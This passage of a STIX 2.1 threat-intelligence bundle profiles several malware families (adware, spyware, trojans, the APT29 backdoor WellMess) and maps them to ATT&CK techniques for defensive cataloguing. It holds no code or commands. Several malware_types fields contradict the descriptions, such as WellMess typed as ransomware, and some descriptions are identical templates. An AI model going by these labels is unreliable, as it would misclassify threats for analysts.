      "source_ref": "malware--4f5ca57f-6f02-59f6-bb70-c189dc0af8d7",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Webisida exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--246edb4a-9d54-56a5-8f46-3d7905624dc5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4f5ca57f-6f02-59f6-bb70-c189dc0af8d7",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Webisida exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b0d3285b-4352-5880-b4a6-ee7d0b0ce2fc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Webprefix",
      "description": "Adware:Win32/Webprefix is an intrusive Potentially Unwanted Program (PUP) designed to forcibly alter a user's web browsing experience. It manipulates browser settings to redirect search queries, injects unwanted advertisements into webpages, and tracks user browsing behavior to generate illicit Pay-Per-Click (PPC) revenue for its creators.<br><br><b>Understanding Webprefix</b><br>To an end-user, Webprefix manifests as a sudden, unwanted change to their browser's homepage, new tab page, and the appearance of unremovable toolbars or persistent pop-up ads. For a security team, it represents a breakdown in endpoint hygiene and a potential vector for more serious infections via malvertising (malicious advertisements).<br><br><b>Execution and Hijacking Mechanics</b><br>Webprefix is typically distributed via deceptive software bundles, fake software updates, or malicious browser extensions downloaded from third-party sites (`T1189`). Upon execution, it modifies the Windows Registry (`T1112`) and browser configuration files to enforce its settings (`T1562.001`). It installs persistent browser extensions or Browser Helper Objects (BHOs) (`T1176`) to monitor searches and ensure the hijacking cannot be easily reversed by the user. These extensions locally intercept web traffic to inject sponsored links directly into the DOM of legitimate websites.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a severely degraded user experience, potential privacy violations (tracking of search queries), and exposure to potentially malicious ads. Host-based IoCs include EDR alerts for modifications to browser shortcut properties, unexpected additions to browser extension directories, or anomalous BHO registrations in the Registry. Network IoCs include DNS queries resolving to adware tracking infrastructure and redirected search traffic containing tracking parameters. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Webprefix",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/webprefix"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f1469d48-265e-5e0f-b736-f5248689f6f3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b0d3285b-4352-5880-b4a6-ee7d0b0ce2fc",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Webprefix exhibits technique T1176 (Browser Extensions (Installing malicious toolbars/BHOs))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4e26306c-537a-5613-aeab-b87269721756",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b0d3285b-4352-5880-b4a6-ee7d0b0ce2fc",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Webprefix exhibits technique T1112 (Modify Registry (Changing default search/homepage keys))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fe223070-7dc6-5f55-b11a-a05938f366b4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b0d3285b-4352-5880-b4a6-ee7d0b0ce2fc",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Webprefix exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Browser hijacking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4804fac0-0644-50f2-a530-601d38ad148c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b0d3285b-4352-5880-b4a6-ee7d0b0ce2fc",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Webprefix exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--46df5d17-0b9f-505a-8b1c-4c0981de49ce",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Websearch",
      "description": "WebSearch (cataloged across security intelligence feeds under signatures including BrowserModifier:Win32/WebSearch, Adware:Win32/WebSearch, and PUA:Win32/WebSearch) is an intrusive browser hijacker and search monetization framework active since 2012. Distributed through deceptive software bundlers, pirated software downloads, and fake Flash updates, WebSearch forcefully modifies browser configurations across Google Chrome, Mozilla Firefox, and Internet Explorer. It locks the browser homepage and default search provider to affiliated advertising search engines, displays persistent sponsored pop-under advertisements, and injects commercial hyperlinks into organic search results. WebSearch establishes persistent autostart services and scheduled tasks to prevent victims from reverting browser settings. (Observed samples in benchmark: 26)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "BrowserModifier:Win32/WebSearch",
        "Adware:Win32/WebSearch",
        "PUA:Win32/WebSearch",
        "Win32/WebSearch",
        "WebSearch Hijacker"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Websearch",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/websearch"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1478b043-9c88-52a9-8dd6-cae8e15f3ff0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Webwatcher",
      "description": "WebWatcher (classified across antimalware engines as Spyware:Win32/WebWatcher, MonitoringTool:Win32/WebWatcher, and PUA:Win32/WebWatcher) is a stealth surveillance spyware and monitoring utility frequently abused by malicious actors for clandestine monitoring, credential harvesting, and insider espionage on Windows endpoints. While commercially marketed as employee and parental monitoring software, threat actors deploy WebWatcher via trojanized installers, administrative credential abuse, or during unauthorized remote access sessions. WebWatcher installs deep hooks into the Windows operating system and runs completely hidden from the desktop, system tray, and Task Manager. It records all keystrokes (including login credentials and confidential correspondence), captures automated desktop screenshots triggered by keyword alerts or application launches, tracks web browsing history, monitors social media and webmail activity, and intercepts clipboard data. All recorded telemetry is encrypted and exfiltrated over HTTPS to a remote cloud management portal. (Observed samples in benchmark: 16)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Spyware:Win32/WebWatcher",
        "MonitoringTool:Win32/WebWatcher",
        "PUA:Win32/WebWatcher",
        "WebWatcher Spyware",
        "Win32/WebWatcher"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Webwatcher",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/webwatcher"
        }
      ],
      "labels": [
        "spyware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d96e8ed0-11d2-51cf-8f41-51379a5df4c4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1478b043-9c88-52a9-8dd6-cae8e15f3ff0",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Webwatcher exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2050baa1-74a3-591f-b8af-9e29ca4a6422",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1478b043-9c88-52a9-8dd6-cae8e15f3ff0",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Webwatcher exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--52542622-9580-55b7-a5a0-949c7b950d9d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1478b043-9c88-52a9-8dd6-cae8e15f3ff0",
      "target_ref": "attack-pattern--03bc7d87-9e0a-5fae-ad3c-bd1321fcc33b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Webwatcher exhibits technique T1041 (Exfiltration Over C2 Channel)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--489731c8-1e18-573d-9f05-28bd9f4bad01",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1478b043-9c88-52a9-8dd6-cae8e15f3ff0",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Webwatcher exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0a022e1d-b81a-5945-b395-624fee1e91ce",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1478b043-9c88-52a9-8dd6-cae8e15f3ff0",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Webwatcher exhibits technique T1543.003 (Create or Modify System Process: Windows Service)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8d8612f8-db5d-504b-967a-3ea30b191674",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Wecod",
      "description": "Wecod (cataloged in antivirus vendor databases under detections including Trojan:Win32/Wecod, Trojan.Win32.Wecod, and Win32/Wecod) is a multi-functional Windows trojan and surveillance payload active since 2013. Infiltrating systems through bundled freeware installers, cracked software utilities, and phishing links, Wecod establishes covert residence to conduct endpoint surveillance and facilitate secondary payload distribution. Upon execution, Wecod unpacks its binary in memory, creates hidden startup entries in the Windows registry, and injects code into system processes. It hooks low-level keyboard APIs to log keystrokes, harvests credentials from local web browsers, and beacons system configuration data back to remote command-and-control servers over HTTP. Wecod also functions as a backdoor stager, capable of receiving remote commands to download and execute additional malware strains, such as banking trojans and click-fraud modules. (Observed samples in benchmark: 71)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Wecod",
        "Trojan.Win32.Wecod",
        "Win32/Wecod"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Wecod",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/wecod"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ca0f484f-792b-5b3e-bd1b-680e8d86527d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8d8612f8-db5d-504b-967a-3ea30b191674",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wecod exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e53295ad-f92b-5d19-b25b-eaa46d351e44",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8d8612f8-db5d-504b-967a-3ea30b191674",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wecod exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1ebfb5ea-88b0-5cbf-a3fd-59f25c5cda9c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8d8612f8-db5d-504b-967a-3ea30b191674",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wecod exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--243f2f76-f2ef-5b69-b587-4f7a05f737ce",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8d8612f8-db5d-504b-967a-3ea30b191674",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wecod exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2f486cba-aadc-5f72-832a-6e121a4a3a04",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8d8612f8-db5d-504b-967a-3ea30b191674",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wecod exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b10eb9b3-3b9c-518c-b6e7-b6b58f7f07d3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Weenloc",
      "description": "Trojan:Win32/Weenloc is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Weenloc</b><br>To an end-user, a Weenloc infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Weenloc is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Weenloc is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Weenloc frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Weenloc reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Weenloc",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/weenloc"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2b21395c-15a1-5810-a16e-cfede4e2be03",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b10eb9b3-3b9c-518c-b6e7-b6b58f7f07d3",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Weenloc exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--490f52ba-5fc4-50c7-ae77-a95c98f78e45",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b10eb9b3-3b9c-518c-b6e7-b6b58f7f07d3",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Weenloc exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a5042bf5-98f8-5fee-8ed4-c79f5fbfcf17",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b10eb9b3-3b9c-518c-b6e7-b6b58f7f07d3",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Weenloc exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e2459407-d6bd-517f-9620-4fce2edeb96e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b10eb9b3-3b9c-518c-b6e7-b6b58f7f07d3",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Weenloc exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b5b79c53-5d6e-55b3-8298-36f2eb921043",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b10eb9b3-3b9c-518c-b6e7-b6b58f7f07d3",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Weenloc exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--dd3cdf93-4e30-5f66-a389-2df5383a5a4d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Weiduan",
      "description": "Trojan:Win32/Weiduan is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Weiduan</b><br>To an end-user, a Weiduan infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Weiduan is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Weiduan is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Weiduan frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Weiduan reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Weiduan",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/weiduan"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7cead8ee-c6c1-58ac-8c85-e1e3433c2b56",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dd3cdf93-4e30-5f66-a389-2df5383a5a4d",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Weiduan exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e386f98f-f5d9-5dce-b1b2-c358608a3710",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dd3cdf93-4e30-5f66-a389-2df5383a5a4d",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Weiduan exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--57c174b7-c7ce-58db-81fb-4e3503926663",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dd3cdf93-4e30-5f66-a389-2df5383a5a4d",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Weiduan exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1d65756e-fb8b-57ef-ab91-96b5bfbbeb24",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dd3cdf93-4e30-5f66-a389-2df5383a5a4d",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Weiduan exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e9cdadf0-b517-5567-b725-721140d8ba1a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dd3cdf93-4e30-5f66-a389-2df5383a5a4d",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Weiduan exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--08cf593b-1906-58d8-b99c-879198e7e429",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Wellmess",
      "description": "<h3>Executive Summary</h3>\nWellMess is a highly sophisticated, cross-platform (Windows and Linux) malware family heavily utilized by the Russian state-sponsored Advanced Persistent Threat (APT) group known as APT29 (Cozy Bear, The Dukes). First identified in 2018, WellMess is a lightweight but powerful backdoor designed for long-term espionage and intellectual property theft. It gained significant notoriety for its role in targeting organizations involved in COVID-19 vaccine research during 2020.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nAPT29 typically deploys WellMess after gaining initial access to a network through the exploitation of unpatched vulnerabilities in public-facing infrastructure (e.g., Citrix, Pulse Secure, or Zimbra servers) or via highly targeted spear-phishing campaigns.\n\nOnce deployed, WellMess exhibits advanced APT capabilities:\n<ul>\n<li><strong>Cross-Platform Operation:</strong> Written in Go (Golang) or .NET, WellMess is designed to operate seamlessly on both Windows and Linux servers, making it highly versatile for compromising core enterprise infrastructure.</li>\n<li><strong>Encrypted C2 Communication:</strong> It communicates with its Command and Control (C2) servers using mutually authenticated TLS or HTTP/HTTPS, often utilizing base64 encoding and RC6 encryption to hide commands and exfiltrated data within seemingly legitimate web traffic (frequently utilizing stolen, legitimate SSL certificates).</li>\n<li><strong>Advanced Command Execution:</strong> The backdoor supports arbitrary shell command execution, file upload/download, and the ability to execute PowerShell scripts directly in memory without writing them to disk (fileless execution).</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA WellMess detection is an absolute critical security incident (Code Red). It signifies an active, deep compromise by a highly resourced, Tier-1 state-sponsored adversary. The objective is not financial extortion (ransomware), but the stealthy, long-term theft of highly classified or proprietary intellectual property.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Invoke Incident Response Retainer:</strong> A confirmed APT29 breach requires immediate escalation to specialized, external Incident Response (IR) teams and potentially national cyber security authorities (like CISA or NCSC).</li>\n<li><strong>Containment (Do Not Tip Off):</strong> Avoid immediate \"whack-a-mole\" remediation. The adversary likely has multiple redundant backdoors. Containment must be carefully planned to observe the attacker's TTPs and sever all access simultaneously.</li>\n<li><strong>Total Infrastructure Rebuild:</strong> Eradicating an APT requires fundamentally rebuilding compromised infrastructure from the ground up, enforcing strict network segmentation, and implementing pervasive MFA, as the adversary likely possesses global administrative credentials.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "APT.WellMess",
        "Backdoor.WellMess",
        "Linux/WellMess",
        "Win32/WellMess"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Wellmess",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/wellmess"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bb18e7e0-d995-5dd6-8825-98c281670e21",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--08cf593b-1906-58d8-b99c-879198e7e429",
      "target_ref": "attack-pattern--984646e0-34fe-5848-ad02-8ae1f047b736",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wellmess exhibits technique T1059.004 (Command and Scripting Interpreter: Unix Shell (or Windows CMD/Batch))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--239e7669-dfef-5d03-856d-b11d71a180b1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--08cf593b-1906-58d8-b99c-879198e7e429",
      "target_ref": "attack-pattern--25966596-f268-52dc-8ccd-eba715b5e824",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wellmess exhibits technique T1573.002 (Encrypted Channel: Asymmetric Cryptography)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
